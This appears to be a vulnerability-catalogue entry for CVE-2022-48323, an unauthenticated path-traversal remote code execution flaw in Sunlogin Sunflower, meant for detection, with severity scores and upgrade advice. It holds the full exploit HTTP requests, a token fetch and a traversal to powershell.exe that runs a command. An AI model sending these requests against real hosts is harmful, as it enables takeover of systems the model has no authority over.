| Title | Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit path traversal to execute arbitrary programs on the victim host, potentially executing PowerShell commands and gaining full system control over the remote desktop application server. |
| Remediation | Upgrade Sunlogin Sunflower to a version newer than 1.0.1.43315 that properly validates command parameters and prevents path traversal to system executables. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9069 |
| CVE ID | CVE-2022-48323 |
| CWE ID | CWE-22 |
| Tags | cve cve2022 sunflower rce vkev vuln |
Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.
POST /cgi-bin/rpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 19
Accept-Encoding: gzip
action=verify-haras
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Cookie: CID=tW0ccp
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-48323.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-48323.pcap
N/AN/A